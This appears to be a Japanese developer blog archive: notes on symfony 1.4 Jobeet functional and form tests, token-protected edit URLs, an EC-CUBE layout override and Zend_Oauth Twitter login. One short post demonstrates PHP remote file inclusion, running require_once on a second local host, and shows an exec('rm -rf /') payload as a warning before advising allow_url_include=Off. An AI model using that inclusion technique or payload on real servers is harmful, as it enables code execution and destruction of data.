Doctrineテスターとは、まあ要するにDBの中を覗いてくれるテスターです。
1
2
3
4
5
6
7
|
$browser->setTester('doctrine', 'sfTesterDoctrine');
$browser->with('doctrine')->begin()->
check('JobeetJob', array(
'id' => '1',
))->
end();
|
ってやったらJobeetJob.id=1のレコードが存在するかチェックしてくれます。
ちなみに全くどうでもいいですが、テスター名は別の値にもできます。
/test/functional/frontend/jobActionsTest.php
1
2
3
4
5
6
7
|
$browser->setTester('hoge', 'sfTesterDoctrine');
$browser->with('hoge')->begin()->
check('JobeetJob', array(
'id' => '1',
))->
end();
|
これを使って登録が実際になされているかのテストを行ってみましょう。
/test/functional/frontend/jobActionsTest.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
//記事新規作成
$browser->info('3 - Post a Job page')->
info(' 3.1 - Submit a Job')->
get('/job/new')->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'new')->
end()->
click('Preview your job', array('job' => array(
'company' => 'Sensio Labs',
'url' => 'http://www.sensio.com/',
'logo' => sfConfig::get('sf_upload_dir').'/jobs/sensio-labs.jpg',
'position' => 'Developer',
'location' => 'Atlanta, USA',
'description' => 'You will work with symfony ',
'how_to_apply' => 'Send me an email',
'email' => 'for.a.job@example.com',
'is_public' => false,
'type' => 'freelance',
)))->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'create')->
end()->
with('response')->isRedirected()->
followRedirect()->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'show')->
end()->
with('doctrine')->begin()->
check('JobeetJob', array(
'company' => 'Sensio Labs',
'email' => 'for.a.job@example.com',
'is_public' => false,
))->
end()
;
|
> 3 - Post a Job page
> 3.1 - Submit a Job
# get /job/new
ok 1 - request parameter module is job
ok 2 - request parameter action is new
# post /job
ok 3 - request parameter module is job
ok 4 - request parameter action is create
ok 5 - page redirected to /index.php/job/edecd17758c04b467ff2cadfc4c5a2c82685efbf
ok 6 - request parameter module is job
ok 7 - request parameter action is show
ok 8 - JobeetJob objects that matches the criteria have been found
click()で新たな投稿を保存した後、データベースにcompany='Sensio Labs'、email='for.a.job@example.com'、is_public=falseの値が入っているレコードが存在するかを調べています。
投稿に成功していたら当然その値が該当するのでテストには成功します。
ちなみにis_publicが0でも""でも成功したので==による比較のようです。
SQLを発行してるんじゃないのか?
今回データベースに値を登録するテストを何回も作りましたが、これをメソッドを分けて簡単に呼び出せるようにしましょう。
/lib/test/JobeetTestFunctional.class.phpにメソッドを追加します。
/lib/test/JobeetTestFunctional.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
public function createJob($values = array()){
return $this->
get('/job/new')->
click('Preview your job', array('job' => array_merge(array(
'company' => 'Sensio Labs',
'url' => 'http://www.sensio.com/',
'position' => 'Developer',
'location' => 'Atlanta, USA',
'description' => 'You will work with symfony',
'how_to_apply' => 'Send me an email',
'email' => 'for.a.job@example.com',
'is_public' => false,
'type' => 'freelance',
), $values)))->
followRedirect()
;
}
|
以後はこのメソッドを呼び出すだけで新規記事を投稿→リダイレクト後のページへの移動を行ってくれます。
試してみましょう。
/test/functional/frontend/jobActionsTest.php
1
2
3
4
5
6
7
8
9
|
$browser->info(' 3.25 - JobeetTestFunctional::createJob')->
createJob(array('location'=>'hoge'))->
with('doctrine')->begin()->
check('JobeetJob', array(
'location' => 'hoge',
))->
end()
;
|
>php test/functional/frontend/jobActionsTest.php
> 3.25 - JobeetTestFunctional::createJob
# get /job/new
# post /job
ok 1 - JobeetJob objects that matches the criteria have been found
'location'が'hoge'のエントリが作成されました。
もちろん引数無しで呼び出せばデフォルト値のデータが作成されます。
今後新エントリがほしくなれば$browser->createJob()と書くだけでいいようになりました。
一部のページだけ完全に別のCSSを適用し、デザインの出し分けをしたいと思ってもデフォルトではできません。
<head>タグ及びCSSなどを呼び出しているテンプレートファイルは/eccube/Smarty/templates/default/site_frame.tplですが、これはEC-CUBE上のどのページを開こうが常時絶対に読み込まれます。
適当にファイルを拾ってみると、
$objView->display(SITE_FRAME);
などと書かれていますが、初期値はSITE_FRAME='site_frame.tpl'です。
管理画面→パラメータ設定からSITE_FRAMEの値を変えることによってファイル名を変更することはできますが、結局全てのページで呼び出されるテンプレートファイルが変わるだけです。
SITE_FRAMEの定義を場合によって変えようと思った場合、定義を行っているのは/data/cache/mtb_constants.phpなのですが、これはパラメータ設定を行うと上書きされてしまいます。
$objView->display('site_frame_hoge.tpl');と変更すればファイル単位で出し分けが可能ですが、管理画面→レイアウト設定から作成したページだった場合、管理画面上から編集すると、せっかくの変更が無かったことにされてしまいます。
どれもこれもうまいこといきません。
仕方ないので$objView->display()の呼び出し先を変更しましょう。
実体は/data/class/SC_View.phpのSC_View::display()です。
1
2
3
4
5
6
7
8
9
10
|
// テンプレートの処理結果を表示
function display($template, $no_error = false) {
//URLに'hoge'が入っていたらテンプレートファイルを変更
if(strpos($_SERVER['PHP_SELF'],'hoge')!==false){
$template='site_frame_hoge.tpl';
}
//以下略
}
|
引っかけ方は色々あるでしょうが、これで一部のURLだけ全体のレイアウトを変更することができるようになりました。
全然関係ないのですが、元々EC-CUBEにはキャンペーンページなら画面レイアウトを変更するという機能が含まれているようです。
例えばカートを見てみると、LC_Page_Cart::process()には、$objView->display(SITE_FRAME);のかわりに
$objCampaignSess->pageView($objView);
と書かれています。
SC_CampaignSession::pageView()を見てみたところ、
1
2
3
4
5
6
7
8
9
10
11
12
|
/* キャンペーンページならフレームを変更 */
function pageView($objView, $site_frame = SITE_FRAME) {
$self_path = explode("/",$_SERVER['PHP_SELF']);
$campaign_dir = explode("/",CAMPAIGN_DIR);
$is_campaign = array_search( $campaign_dir[0] , $self_path );
if( strlen($is_campaign) > 0 ) {
$objView->display($site_frame);
} else {
$objView->display($site_frame);
}
}
|
変更できてないやん。
実装できてないならせめてコメントアウトしておけと。
http://www.symfony-project.org/jobeet/1_4/Doctrine/ja/11
前回のテストは、フォームにどんな適当な値があっても気にしないというあまり意味のないテストでした。
当然ですが実際にフォームの投稿が有効かどうかを確認するテストを行うことができます。
まずはフォームテスター。
コードだけ書いてあって何処に挿入するの?って感じですが、click()の直後に挿入します。たぶん。
/test/functional/frontend/jobActionsTest.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
//記事新規作成
$browser->info('3 - Post a Job page')->
info(' 3.1 - Submit a Job')->
get('/job/new')->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'new')->
end()->
click('Preview your job', array('job' => array(
'company' => 'Sensio Labs',
'url' => 'http://www.sensio.com/',
'logo' => sfConfig::get('sf_upload_dir').'/jobs/sensio-labs.gif',
'position' => 'Developer',
'location' => 'Atlanta, USA',
'description' => 'You will work with symfony.',
'how_to_apply' => 'Send me an email',
'email' => 'for.a.job@example.com',
'is_public' => false,
)))->
with('form')->begin()->
hasErrors(false)->
end()->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'create')->
end()
;
|
>php test/functional/frontend/jobActionsTest.php
> 3 - Post a Job page
> 3.1 - Submit a Job
# get /job/new
ok 1 - request parameter module is job
ok 2 - request parameter action is new
# post /job
not ok 3 - the submitted form is valid.
# Failed test (C:\xampp\php\PEAR\symfony\test\sfTesterForm.class.php at line 95)
# got: true
# expected: false
ok 4 - request parameter module is job
ok 5 - request parameter action is create
なにやらエラーが出ました。
hasErrors(false)でエラーが出ないことを期待したのですが、実際はエラーが出ましたよ、ということです。
hasErrors(false)->debug()で詳細を確認することができます。
Form debug
Submitted values: array ( 'category_id' => '93', 'company' => 'AAAAASensio Labs', 'url' => 'http://www.sensio.com/', 'position' => 'Developer', 'location'=> 'Atlanta, USA', 'description' => 'You will work with symfony to develop websites for our customers.', 'how_to_apply' => 'Send me an email', 'is_public' => false, 'email' => 'for.a.job@example.com', 'id' => '', 'logo' => 'symfony/web/uploads/jobs/sensio-labs.gif',)
Errors: type [Required.]
なにか必須項目が足りないというエラーが出てきました。
どの項目が足りないかまではわからないようです。
必須項目は現在'Type'、'Company'、'Position'、'Location'、'Description'、'How to apply?'、'Email'となっています。
'Type'がありませんね。
追加してみましょう。
Submitted values: array ( 'category_id' => '113', 'company' => 'Sensio Labs', 'url' => 'http://www.sensio.com/', 'position' => 'Developer', 'location' => 'Atlanta, USA', 'description' => 'You will work with symfony to develop websites for our customers.', 'how_to_apply' => 'Send me an email', 'is_public' => false, 'email' => 'for.a.job@example.com', 'id' => '', 'logo' => 'symfony/web/uploads/jobs/sensio-labs.gif', 'type' => 'Freelance',)
Errors: type [Invalid.]
およ?
しかも詳細はわかりません。
with('form')ブロックのかわりにwith('response')->debug()を入れると返ってきた出力をそのまま確認できます。
<th><label for="job_type">Type</label></th>
<td><ul class="error_list"><li>Invalid.</li></ul>
追加したtypeが正しくないようです。何故?
よく見るとtypeの値として有効なのは'Freelance'ではなく'freelance'でした。
まあ、これはこれできちんとバリデータが動作している証左になるでしょう。
で、ここまで書いて気が付いたのですが、もしかしてさっきの'Errors: type [Required.]'って、エラーの内容が'必須'という意味ではなく、'type'フィールドが'必須'って意味じゃねーの?
'company'をコメントアウトしてみる。
Errors: company [Required.]
うわあ、やっぱり。
さて、ブラウザからフォームを投稿するとその後はフォームの管理画面に移動するようになっていました。
そのような動作を追いかけることも当然できます。
/test/functional/frontend/jobActionsTest.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
//記事新規作成
$browser->info('3 - Post a Job page')->
info(' 3.1 - Submit a Job')->
get('/job/new')->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'new')->
end()->
click('Preview your job', array('job' => array(
(中略)
)))->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'create')->
end()->
with('response')->isRedirected()->
followRedirect()->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'show')->
end()
;
|
フォームを投稿した画面でjobモジュールのcreateアクションが起動し、そのレスポンスはリダイレクトになっており、それを追いかけた先ではjobモジュールのcreateアクションが起動しますよ、というテストです。
>php test/functional/frontend/jobActionsTest.php
> 3 - Post a Job page
> 3.1 - Submit a Job
# get /job/new
ok 1 - request parameter module is job
ok 2 - request parameter action is new
# post /job
ok 3 - request parameter module is job
ok 4 - request parameter action is create
ok 5 - page redirected to /index.php/job/e3e4769832325590aafccd6a7b81a20ba4ae43e1
ok 6 - request parameter module is job
ok 7 - request parameter action is show
1..7
# Looks like everything went fine.
見事に想定どおりの動きができました。
これがもし投稿に失敗していた場合、リダイレクトされませんのできちんとエラーが表示されます。
not ok 5 - page redirected
# Failed test (C:\xampp\php\PEAR\symfony\test\sfTesterResponse.class.php at line 432)
LogicException: The request was not redirected.
at () in symfony/util/sfBrowserBase.class.php line 540
at sfBrowserBase->followRedirect() in n/a line n/a
at call_user_func_array() in symfony/test/sfTestFunctionalBase.class.php line 433
at sfTestFunctionalBase->__call() in n/a line n/a
at JobeetTestFunctional->followRedirect() in symfony/test/functional/frontend/jobActionsTest.php line 94
不正な値を投稿したり、必須項目が足りてないなどの場合にエラーが発生するのを確認してみましょう。
/test/functional/frontend/jobActionsTest.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
$browser->
info(' 3.2 - Submit a Job with invalid values')->
get('/job/new')->
click('Preview your job', array('job' => array(
'company' => 'Sensio Labs',
'position' => 'Developer',
'location' => 'Atlanta, USA',
'email' => 'not.an.email',
)))->
with('form')->begin()->
hasErrors(3)->
isError('description', 'required')->
isError('how_to_apply', 'required')->
isError('email', 'invalid')->
end()
;
|
>php test/functional/frontend/jobActionsTest.php
> 3.2 - Submit a Job with invalid values
# get /job/new
# post /job
not ok 1 - the submitted form has 3 errors.
# Failed test (C:\xampp\php\PEAR\symfony\test\sfTesterForm.class.php at line 91)
# got: 4
# expected: 3
ok 2 - the submitted form has a description error (required).
ok 3 - the submitted form has a how_to_apply error (required).
ok 4 - the submitted form has a email error (invalid).
# Looks like you failed 1 tests of 4.
エラーが発生するのを確認するテストでエラーになりました。
なんか手元では'type'フィールドが必須になってるんだが何故違うんだろう。
ということで
hasErrors(4)->isError('type', 'required')->
としてみると見事にエラーの発生に成功しました。
なんか変な文だな。エラーに成功。
php.ini
allow_url_fopen = On
allow_url_include = On
http://hoge.localhost/rfi.php
<?php require_once('http://fuga.localhost/phpinfo.php');http://fuga.localhost/phpinfo.php
<?php print('<?php phpinfo(); ?>');みごとに「hoge.localhostでphpinfo()した結果」が表示されました。
require_onceしたファイルが正しいPHPの形になっていれば、通常のrequire_onceと同じようにローカルで実行されてしまうのです。
前回
<?php phpinfo();とするとうまくいかなかったのは、phpinfo()の出力は単なるHTMLなので、HTMLをrequire_onceしたら当然そのまま出力されるだけだったということです
phpinfo()だけならまだ設定が見られるだけですが、任意のファイルを仕込めるということは、
print('<?php exec("rm -rf /"); ?>');なんてこともできるわけで。
結論としては、allow_url_includeはOffにしておけ、ってこった。
とりあえず1.4にバージョンアップした。
http://www.symfony-project.org/tutorial/1_4/ja/upgrade
フォームのテストを行います。
http://www.symfony-project.org/jobeet/1_4/Doctrine/ja/11
のっけから疎結合が云々よくわからないことを言ってますがどうせ使うことはないのでいいです。
Symfonyの部品を使うくらいならZFを使った方が楽でしょう。
まあsfFormが使えれば楽かもしれませんが使い方がわからん。
まず作成するのは新規記事作成ページを取得するメソッドチェーン。
test/functional/frontend/jobActionsTest.php
1
2
3
4
5
6
7
8
9
10
11
|
//記事新規作成
$browser->info('3 - Post a Job page')->
info(' 3.1 - Submit a Job')->
get('/job/new')->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'new')->
end()
;
|
http://symfony.localhost/frontend_dev.php/job/new
のリンクに行ったらjobモジュールのnewアクションが起動するよ、という内容です。
早速実行してみます。
>php test/functional/frontend/jobActionsTest.php
> 3 - Post a Job page
> 3.1 - Submit a Job
# get /job/new
ok 16 - request parameter module is job
ok 17 - request parameter action is new
正しく動作したようです。
次に、フォームに値を突っ込むテストをしてみます。
なんか複数の事柄がまとめて書かれているのでいまいちわかりづいらいんですが、順番に見ていきます。
>より明確にするために、JobeetJobForm の configure() メソッドの終わりで
>次のコードを追加することでフォーマットを job[%s] に変更してみましょう:
lib/form/doctrine/JobeetJobForm.class.php
1
2
|
$this->widgetSchema->setNameFormat('job[%s]');
|
これはフォームのフィールド名を変えます。
デフォルトではフィールド名はフォームクラス名そのまま、
1
|
<input type="text" name="jobeet_job[company]" id="jobeet_job_company" />
|
となっています。
setNameFormat()を実行することで任意のフィールド名に変更することができます。
上記の場合、
1
|
<input type="text" name="job[company]" id="job_company" />
|
となります。
なにが明確になるのかはよくわからないのですが。
>すでにリンクのクリックをシミュレートするために click() メソッドを使いました。
>同じ click() メソッドはフォームを投稿するために使うことができます。
>フォームに関して、メソッドの2番目の引数としてそれぞれのフィールドに対して投稿する値を渡すことができます。
>実際のブラウザーのように、ブラウザーオブジェクトはフォームのデフォルト値と投稿された値をマージします。
何度読んでも意味がわかりませんが、click()メソッドに値を突っ込めば$_REQUESTに追加されるよ、という意味のようです。
$_GETなのか$_POSTなのかはいまいちわかりません。
test/functional/frontend/jobActionsTest.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
//記事新規作成
$browser->info('3 - Post a Job page')->
info(' 3.1 - Submit a Job')->
get('/job/new')->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'new')->
end()->
click('Preview your job', array('job' => array(
'company' => 'Sensio Labs',
'url' => 'http://www.sensio.com/',
'logo' => sfConfig::get('sf_upload_dir').'/jobs/sensio-labs.gif',
'position' => 'Developer',
'location' => 'Atlanta, USA',
'description' => 'You will work with symfony ',
'how_to_apply' => 'Send me an email',
'email' => 'for.a.job@example.com',
'is_public' => false,
)))->
with('request')->begin()->
isParameter('module', 'job')->
isParameter('action', 'create')->
end()->
;
|
新規記事作成ページを取得し、[job]フォームの各フィールドに値を記入し、「Preview your job」のリンクをクリックするとjobアクションのcreateメソッドが動きますよ、の意味となります。
実行してみましょう。
>php test/functional/frontend/jobActionsTest.php
Parse error: syntax error, unexpected ';', expecting T_STRING or T_VARIABLE or '{' or '$' in \symfony\test\functional\frontend\jobActionsTest.php on line 91
お。
なんか最後がend()->;ってなってるせいです。
end();にすると実行に成功します。
>php test/functional/frontend/jobActionsTest.php
> 3 - Post a Job page
> 3.1 - Submit a Job
# get /job/new
ok 16 - request parameter module is job
ok 17 - request parameter action is new
# post /job
ok 18 - request parameter module is job
ok 19 - request parameter action is create
ちなみに投稿したデータは挿入に成功すれば実際に保存されます。
ただし、バリデータやフィールドをチェックしておらず、'logo'=>'a'とか'hoge'=>'fuga'とかありえないデータを突っ込んでもテストに通ってしまいます。
あとテストを実行するたびにjobeet_testのデータが総刷新されるんだがなんだこれ。
前回の続き。
とりあえずZend_Oauthで、普通にOAuthログインを行ってみます。
ちなみにZend_Service_Twitterというのがあるのですが、こちらは使いません。
なにそれ。
やることは実はチュートリアルに全部書いてあります。
index.php
<?php //あ //require require_once('Zend/Oauth/Consumer.php'); //セッション session_start(); //OAuthオプション $zf_oauth_config = array( //twitterにログイン後戻ってくるURL 'callbackUrl' => 'http://localhost/callback.php', //リダイレクト先の情報 'siteUrl' => 'http://twitter.com/oauth', 'requestTokenUrl' => 'https://twitter.com/oauth/request_token', 'accessTokenUrl' => 'https://twitter.com/oauth/access_token', 'authorizeUrl' => 'https://twitter.com/oauth/authorize', //Consumer keyとConsumer secret 'consumerKey' => '1234567890', 'consumerSecret' => '9876543210' ); $zf_oauth = new Zend_Oauth_Consumer($zf_oauth_config); //リクエストトークンを保存しておく $zf_request_token = $zf_oauth->getRequestToken(); $_SESSION['TWITTER_REQUEST_TOKEN'] = $zf_request_token; //リダイレクト実行 $zf_oauth->redirect();
まずindex.phpでtwitterサイトへのリダイレクトを行います。
'callbackUrl'にtwitterサイトでの認証成功後にリダイレクトを行うURLを入れます。
'consumerKey'と'consumerSecret'には、前回作成したTwitterアプリのConsumer keyとConsumer secretを突っ込みます。
サンプルなので適当な数値が入ってますが実際は数十桁の英数文字列です。
リダイレクト先の情報は基本的に固定なので変える必要はないみたいです。
実行すると、Zend_Oauth_Consumer::getRequestToken()で認証用のトークンを取得できます。
これは認証後にPHPからtwitterにアクセスする際に必要になる情報なので、必ず保存しておきます。
チュートリアルではserialize()してから保存していますが、中身は単なる配列なので別にシリアライズする必要はありません。
最後にZend_Oauth_Consumer::redirect()で、twitterサイトにリダイレクトを行います。
この際リクエストに?oauth_token=**という形式の長いパラメータが付きます。
twitter側では、このパラメータが付いたリクエストにアカウント操作の許可を与えるかどうかをユーザに聞きます。
許可を与えると'callbackUrl'で指定したURLにリダイレクトで戻ってきます。
このときに?oauth_token=**&oauth_verifier=**という二種類のパラメータが返ってきます。
oauth_tokenはリクエストに与えられた文字列で、oauth_verifierはベリファイ用の文字列です。
この返り値を使ってZend_Oauth_Consumerで最終的な認証を行います。
callback.php
<?php //require require_once('Zend/Oauth/Consumer.php'); //セッション session_start(); //OAuthオプション $zf_oauth_config = array( //必要らしい 'callbackUrl' => 'http://localhost/callback.php', 'siteUrl' => 'http://twitter.com/oauth', //Consumer keyとConsumer secret 'consumerKey' => '1234567890', 'consumerSecret' => '9876543210' ); $zf_oauth = new Zend_Oauth_Consumer($zf_oauth_config); //アクセストークンを取得 $zf_access_token = $zf_oauth->getAccessToken( $_REQUEST ,$_SESSION['TWITTER_REQUEST_TOKEN'] ); //アクセストークンを保存 $_SESSION['TWITTER_ACCESS_TOKEN'] = $zf_access_token; //リクエストトークンはもはや不要 $_SESSION['TWITTER_REQUEST_TOKEN'] = NULL;
アクセストークンを取得することができました。
今後twitterにアクセスする際、アクセストークンをくっつけて送信すると、twitter側ではそのリクエストは認証が行われたものだと判断して操作を許可します。
簡単に解説してみます。
まずindex.phpではコンシューマキー等からリクエストトークンを作成します。
twitterサイトに行く際にはリクエストトークンをくっつけて送信します。
twitterサイトで認証を行うと、リクエストトークンと共にベリファイコードが返ってきます。
callback.phpではベリファイコード等からアクセストークンを作成します。
このアクセストークンが、twitterで認証を行った証となります。
ここまでくれば後は簡単で、セッションに保存したアクセストークンを利用してtwitterの操作を行うことができます。
send.php
<?php //require require_once('Zend/Oauth/Consumer.php'); require_once('Zend/Json.php'); //セッション session_start(); //OAuthオプション $zf_oauth_config = array( //必要らしい 'callbackUrl' => 'http://localhost/callback.php', 'siteUrl' => 'http://twitter.com/oauth', //Consumer keyとConsumer secret 'consumerKey' => '1234567890', 'consumerSecret' => '9876543210' ); $zf_oauth = new Zend_Oauth_Consumer($zf_oauth_config); //アクセストークンを取得 $zf_access_token = $_SESSION['TWITTER_ACCESS_TOKEN']; //twitterに投稿する //Zend_Oauth_Clientを取得 $zf_client = $zf_access_token->getHttpClient($zf_oauth_config); //投稿先をセット $zf_client->setUri('http://twitter.com/statuses/update.json'); $zf_client->setMethod(Zend_Http_Client::POST); //投稿内容をセット $zf_client->setParameterPost('status', 'テスト投稿'); //リクエスト実行 $response = $zf_client->request(); //返り値を確認 $data = Zend_Json::decode($response->getBody()); $result = $response->getBody(); if (isset($data->text)) { $result = 'true'; }
なんかあんまり簡単に見えませんね。
次回はZend_Service_Twitterでも使ってみましょう。
ちなみに公式サイトサンプルの11行目は
$client = $token->getHttpClient($configuration);
ってなってますが正しくは
$client = $token->getHttpClient($config);
ですな。
手探りでやってるのでたぶん間違ってますがとりあえず。
Twitterは2010年にBASIC認証を取りやめたので、それまでに書かれたこちらのような単純な認証は使用できなくなっています。
http://www.plusmb.jp/2009/09/29/4624.html
で、新しい認証方式について書いてるところがない。
ブラウザ経由でいったんtwitterに飛んで云々てのはあるんだが、PHPだけで認証から投稿まで一気に終わらせたいってだけのが何処にもない。
http://www.msng.info/archives/2010/01/twitter_api_oauth_with_php.php
OpenPearパッケージがふたつほどありましたが、どうも使えるのはなさそうです。
http://openpear.org/package?q=twitter
OpenPear::log4php_appenders_LoggerAppenderTweetは
new Zend_Service_Twitter(LOG4PHP_TWITTER_ID, LOG4PHP_TWITTER_PASSWORD);
と書かれているので古い形式です。
OpenPear::Services_Twitterは何故かリリースされてない。
また一旦twitterに飛んで戻ってくる形式で、あと何故か肝心の発言するAPIが定義されてないっぽいんですが。
外部アプリからtwitterを使うためにまず必要なのは、利用するTwitterアプリの登録。
http://twitter.com/apps/
BASIC認証ではなく、OAuthという別途強固な認証(認可?)を使用する必要があります。
で、とりあえずキーを取得しないといけないのでここらへんを参考に取ってきます。
http://www.msng.info/archives/2010/01/twitter_api_oauth_with_php.php
アプリケーションの種類はブラウザアプリケーション、Default Access typeは'Read & Write'、「Twitterでログインする」にチェックを入れます。
アプリケーションのウェブサイトURLはtwitterサイト上からこのアプリを見つけてクリックしたときに行くURL、コールバックURLはOAuthログイン後に遷移するページです。
アプリケーションのウェブサイトURLはlocalhostしかないので'http://example.com/'とかダミーを、コールバックURLはAPI呼び出し時に変更できるので'http://example.com/callback.php'とかダミーを入れておきます。
全部埋めたらConsumer keyとConsumer secretが取得できるので保存します。
アカウントがとりあえずできたので次は次回。
チュートリアルには全く載っていない問題点を修正します。
チュートリアル通りに投稿フォームを作成し、日本語で記事を投稿した場合、以下のNoticeが発生します。
>Notice: iconv() [function.iconv]: Detected an illegal character in input string in symfony/lib/Jobeet.class.php on line 17
何処かというとslugifyやってるこの行です。
/lib/Jobeet.class.php
1
2
|
$text = iconv('utf-8', 'us-ascii//TRANSLIT', $text);
|
http://jp2.php.net/manual/ja/function.iconv.php
>文字列 //TRANSLIT を out_charset に追加すると、翻字機能が有効になります。これは、指定された文字集合で 表せない文字を、見た目の似ている別の文字に置き換える機能です。 文字列 //IGNORE を追加すると、指定された文字集合で 表せない文字は黙って切り捨てられます。 それ以外の場合は、str の中に変換できない文字が 出現した時点で変換が打ち切られ、E_NOTICE が発生します。
日本語をus-asciiに翻字できないよ、ということです。
日本語記事が投稿できないというのは非常に問題ですが、翻字しなければいいだけなので単純に//IGNOREを追加すれば解決します。
/lib/Jobeet.class.php
1
2
|
$text = iconv('utf-8', 'us-ascii//TRANSLIT//IGNORE', $text);
|
問題点として、リンクのURLから日本語が一切消えて無くなってしまいますが、まあ日本語URLとか面倒なので消えてもいいや。
…あれ?
見た目をわかりやすくするためのURL変換だった筈なんだがその理念は何処行った?
そんな理念最初から無かったということで一つ。
現状では
http://symfony.localhost/frontend_dev.php/job/1/edit
というURLで誰でも求人情報を編集できてしまいます。
これでは求人改竄し放題ですので、投稿者以外編集できないように保護しましょう。
方針としては、初回投稿時にランダムな文字列を作成しjobeet_job.tokenに保存、その文字列を知らないとエディットできない、というふうにします。
チュートリアルとはちょっと違った順番で行ってみます。
基本を修めず創作料理は核煮の第一歩ですが気にしない。
まずルーティングを変更。
今のままの/job/1/editでは到達できないように、ルーティングに引っかかるカラムを変更します。
apps/frontend/config/routing.yml
1
2
3
|
class: sfDoctrineRouteCollection
options: { model: JobeetJob, column: token }
requirements: { token: \w+ }
|
ルーティングはデフォルトではJobeetJob.idに結びつけられていますが、options:column:を追加することで任意のカラムに変更することができます。
今回はJobeetJob.tokenに結びつけました。
従って、
http://symfony.localhost/frontend_dev.php/job/job_sensio_labs/edit
といったURLでエディット画面に行くことが出来るようになります。
さて、この状態でサイトトップから求人詳細を見ようとするとサーバエラーになります。
ルーティングが変更になったのでエディット画面へのリンクがtokenを必要とすることになったのに、テンプレに
1
|
<a href=" echo url_for('job/edit?id='.$job->getId()) ">Edit</a>
|
このリンクを修正します。
apps/frontend/modules/job/templates/showSuccess.php
1
|
<a href=" echo url_for('job/edit?token='.$job->getToken()) ">Edit</a>
|
エディット画面へのリンクが正しく表示されるようになりました。
まあ、そもそもこのリンクは今後表示してはいけないのですが。
さらに引数を直接与えるのではなく、url_for()を使用して解決することも出来ます。
apps/frontend/modules/job/templates/showSuccess.php
1
|
<a href=" echo url_for('job_edit', $job) ">Edit</a>
|
ルーティングの設定によりトークンでアクセスできるようになりましたが、現在トークンはユーザが任意に登録できるようになっています。
ここでaaaaaとか入れられると困りますのでフォームに出さないようにし、トークンは自動生成するようにします。
JobeetJob::save()にトークン自動発行ルーチンを挿入。
lib/model/doctrine/JobeetJob.class.php
1
2
3
4
5
|
//トークンが無ければ自動生成
if (!$this->getToken()){
$this->setToken(sha1($this->getEmail().rand(11111, 99999)));
}
|
フォームからトークン入力欄を削除。
lib/form/doctrine/JobeetJobForm.class.php
1
2
3
4
5
6
|
unset(
$this['created_at'], $this['updated_at'],
$this['expires_at'], $this['is_activated']
,$this['token']
);
|
これで初回登録時に自動で40桁のトークンが発行されるようになりました。
今後投稿したデータの編集を行う際は、
http://symfony.localhost/frontend_dev.php/job/ef59db48055f6cdde9819f3121d9e267f00f8f65/edit
というような第三者にはわからないアドレスを使用することになります。
どうでもいいですが、トークンに無理矢理日本語を入れると今後一切エディット不能になります。
現在求人情報は、
http://symfony.localhost/frontend_dev.php/job/n-a/n-a/1/n-a
という形式でルーティングのjob_show_user:に引っかかるタイプ、
http://symfony.localhost/frontend_dev.php/job/ef59db48055f6cdde9819f3121d9e267f00f8f65
という形式でjob:に引っかかるタイプの2種類のURLから閲覧することが出来ます。
前者の人は閲覧専用とし、エディット画面へのリンクは表示させたくありません。
一方、後者の人には編集、削除を行わせる必要があります。
テンプレートを修正します。
apps/frontend/modules/job/templates/showSuccess.php
1
2
3
|
if ($sf_request->getParameter('token') == $job->getToken()):
<a href=" echo url_for('job_edit', $job) ">Edit</a>
endif;
|
リクエストパラメータにtokenがあって、それがjobeet_job.tokenと等しければエディット画面へのリンクを表示します。
元あったエディット画面へのリンクは削除しましょう。
さて、エディット以外にも削除やなにやら色々行いたいので部品化し、admin専用のメニューテンプレートを作成します。
apps/frontend/modules/job/templates/showSuccess.php
1
2
3
|
if ($sf_request->getParameter('token') == $job->getToken()):
include_partial('job/admin', array('job' => $job)) endif;
|
インクルードされる中身を作成します。
apps/frontend/modules/job/templates/_admin.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
<div id="job_actions">
<h3>Admin</h3>
<ul>
if (!$job->getIsActivated()):
<li> echo link_to('Edit', 'job_edit', $job) </li>
<li> echo link_to('Publish', 'job_edit', $job) </li>
endif;
<li> echo link_to('Delete', 'job_delete', $job,
array('method' => 'delete', 'confirm' => 'Are you sure?')) </li>
if ($job->getIsActivated()):
<li $job->expiresSoon() and print ' class="expires_soon"' >
if ($job->isExpired()):
Expired
else:
Expires in <strong>
echo $job->getDaysBeforeExpires() </strong> days
endif;
if ($job->expiresSoon()):
- <a href="">Extend</a> for another
echo sfConfig::get('app_active_days') days
endif;
</li>
else:
<li>
[Bookmark this echo link_to('URL', 'job_show', $job, true) to manage this job in the future.]
</li>
endif;
</ul>
</div>
|
作成した_adminパーシャルには、$job->expiresSoon()や$job->getDaysBeforeExpires()といったメソッドが書かれています。
ここらへんのメソッドは存在しないのでモデルに実装を追加します。
単に日付の比較などを行っているだけなのでテンプレートで行っても問題無いと言えば無いですが。
lib/model/doctrine/JobeetJob.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
/*
* テンプレートで利用するショートカット関数
* */
//JobeetJob.typeを取得
public function getTypeName(){
$types = Doctrine::getTable('JobeetJob')->getTypes();
return $this->getType() ? $types[$this->getType()] : '';
}
//期限切れであればtrue
public function isExpired(){
return $this->getDaysBeforeExpires() < 0;
}
//期限切れ間近であればtrue
public function expiresSoon(){
return $this->getDaysBeforeExpires() < 5;
}
